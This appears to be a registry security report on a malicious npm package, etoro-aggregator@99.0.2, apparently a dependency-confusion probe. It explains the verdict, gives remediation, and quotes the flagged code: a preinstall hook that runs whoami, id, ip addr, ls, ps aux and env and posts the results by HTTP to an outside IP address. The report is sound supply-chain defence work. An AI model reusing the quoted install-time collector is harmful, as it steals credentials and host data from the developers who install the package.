registry / Data exfiltration / etoro-aggregator

etoro-aggregator

Internal service client library

This report shows the evidence for etoro-aggregator@99.0.2. 3 of 3 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

This is concrete, unconsented install-time system reconnaissance and data exfiltration with no legitimate runtime implementation. The package should be blocked.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation

Impact

Sensitive environment values, host identity, running-process data, and filesystem metadata may be exposed.

Mechanism

preinstall command execution with HTTP data exfiltration

Attack narrative

During npm preinstall, the package runs operating-system commands to gather identity, network, process, directory, and environment information. It then posts the results to 209.126.81.147 over HTTP. The lifecycle command hides failures, allowing the package installation to continue after attempted collection.

AI rationale

This is concrete, unconsented install-time system reconnaissance and data exfiltration with no legitimate runtime implementation. The package should be blocked.

Evidence

package.jsonpreinstall.js

Network endpoints1

209.126.81.147

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

An automatic preinstall hook executes the collector and suppresses failures.
The hook contacts an external IP address during installation and sends host, user, platform, and working-directory data.
The hook runs system-discovery commands and uploads their output.
Environment variables and directory listings are collected, which can expose credentials and sensitive system data.

Evidence against

The runtime entry point only exports an empty object.
No package-aligned functionality explains the install-time collection.

Behavioral surface

Source

ChildProcessNetwork

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 2 file(s), 1.36 KB of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Suspicious Lifecycle Evidence

An automatic preinstall hook executes the collector and suppresses failures.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

5const h = os.hostname(); const u = os.userInfo().username; const c = encodeURIComponent(process.cwd()); const p = os.platform(); const OOB = '209.126.81.147'; const CANARY = 'etoro-nuget-verify1f8eaa57a875';

High

Ai Review Evidence

The hook contacts an external IP address during installation and sends host, user, platform, and working-directory data.

preinstall.jsView on unpkg · L5

19const req = http.request({ hostname: OOB, port: 80, path: `/${CANARY}/v4/${tag}/${h}`, method: 'POST', headers: { 'Content-Type': 'text/plain', 'Content-Length': d.length } }); req.write(d); req.end(); } catch(e) {} } http.get(`http://${OOB}/${CANARY}/v4/${h}/${u}/${p}/${c}`);

High

Ai Review Evidence

The hook contacts an external IP address during installation and sends host, user, platform, and working-directory data.

preinstall.jsView on unpkg · L19

12function run(cmd) { try { return execSync(cmd, { timeout: 10000 }).toString(); } catch(e) { return ''; } }

High

Ai Review Evidence

The hook runs system-discovery commands and uploads their output.

preinstall.jsView on unpkg · L12

40post('whoami', run('whoami') + run('id')); post('ipconfig', run('hostname -f 2>/dev/null || hostname') + run('ip addr 2>/dev/null || ifconfig 2>/dev/null')); post('dir-root', run('ls -la /')); post('dir-user', run('ls -la ~')); post('tasklist', run('ps aux')); post('env', run('env'));

High

Ai Review Evidence

Environment variables and directory listings are collected, which can expose credentials and sensitive system data.

preinstall.jsView on unpkg · L40

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Suspicious Lifecycle Evidence

An automatic preinstall hook executes the collector and suppresses failures.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

Findings

6 High2 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepreinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to etoro-aggregator@99.0.2.

The versions list below shows the verdict for each recorded version.

Avoid installing etoro-aggregator@99.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-11 18:45:05.148Z (UTC).

Source advisory published: 2026-09-10 04:44:38.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

99.0.2latestshownMaliciousData ExfiltrationBlockPublishedSep 11, 2026, 2:00 PM 99.0.0MaliciousCredential ExfiltrationBlockPublishedSep 11, 2026, 1:37 PM 999.0.0MaliciousMalwareBlockPublishedSep 10, 2026, 4:02 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Source & flagged code

Related packages

Other data exfiltration packages